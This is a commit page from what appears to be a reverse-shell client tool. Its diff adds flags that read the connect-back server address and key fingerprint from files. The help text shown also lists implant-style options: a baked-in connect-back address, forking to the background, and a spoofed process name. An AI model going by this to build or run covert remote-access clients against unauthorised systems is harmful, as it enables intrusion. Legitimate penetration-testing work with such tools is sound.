Skip to content

Commit 3b5aeed

Browse files
committed
Add flags --destination-file --fingerprint-file to read connection from files, closes #206 and #205
1 parent b5cbfdb commit 3b5aeed

File tree

1 file changed

+31
-1
lines changed

1 file changed

+31
-1
lines changed

cmd/client/main.go

Lines changed: 31 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package main
22

33
import (
4+
"bytes"
45
"fmt"
56
"io"
67
"log"
@@ -53,8 +54,10 @@ var (
5354
func printHelp() {
5455
fmt.Println("usage: ", filepath.Base(os.Args[0]), "--[foreground|fingerprint|proxy|process_name] -d|--destination <server_address>")
5556
fmt.Println("\t\t-d or --destination\tServer connect back address (can be baked in)")
57+
fmt.Println("\t\t--destination-file\tRead server connect back address as file")
5658
fmt.Println("\t\t--foreground\tCauses the client to run without forking to background")
5759
fmt.Println("\t\t--fingerprint\tServer public key SHA256 hex fingerprint for auth")
60+
fmt.Println("\t\t--fingerprint-file\tRead server public key SHA256 hex fingerprint from file path")
5861
fmt.Println("\t\t--proxy\tLocation of HTTP connect proxy to use")
5962
fmt.Println("\t\t--ntlm-proxy-creds\tNTLM proxy credentials in format DOMAIN\\USER:PASS")
6063
fmt.Println("\t\t--process_name\tProcess name shown in tasklist/process list")
@@ -125,6 +128,22 @@ func main() {
125128
userSpecifiedFingerprint, err := line.GetArgString("fingerprint")
126129
if err == nil {
127130
settings.Fingerprint = userSpecifiedFingerprint
131+
} else {
132+
userSpecifiedFingerprintPath, err := line.GetArgString("fingerprint-file")
133+
if err == nil {
134+
fingerPrint, err := os.ReadFile(userSpecifiedFingerprintPath)
135+
if err != nil {
136+
log.Fatalf("--fingerprint-file %q was invalid: %v", userSpecifiedFingerprintPath, err)
137+
}
138+
139+
fingerPrint = bytes.TrimSpace(fingerPrint)
140+
141+
if len(fingerPrint) != 64 {
142+
log.Fatalf("The fingerprint read from file %q was not the size of a hex sha256 hash (64 bytes), was: %d", userSpecifiedFingerprintPath, len(fingerPrint))
143+
}
144+
145+
settings.Fingerprint = string(fingerPrint)
146+
}
128147
}
129148

130149
userSpecifiedSNI, err := line.GetArgString("sni")
@@ -155,7 +174,18 @@ func main() {
155174

156175
tempDestination, err := line.GetArgString("d")
157176
if err != nil {
158-
tempDestination, _ = line.GetArgString("destination")
177+
tempDestination, err = line.GetArgString("destination")
178+
if err != nil {
179+
destinationFile, err := line.GetArgString("destination-file")
180+
if err == nil {
181+
destinationFileBytes, err := os.ReadFile(destinationFile)
182+
if err != nil {
183+
log.Fatalf("--destinationFile-file %q was invalid: %v", destinationFile, err)
184+
}
185+
186+
tempDestination = string(bytes.TrimSpace(destinationFileBytes))
187+
}
188+
}
159189
}
160190

161191
if len(tempDestination) > 0 {

0 commit comments

Comments
 (0)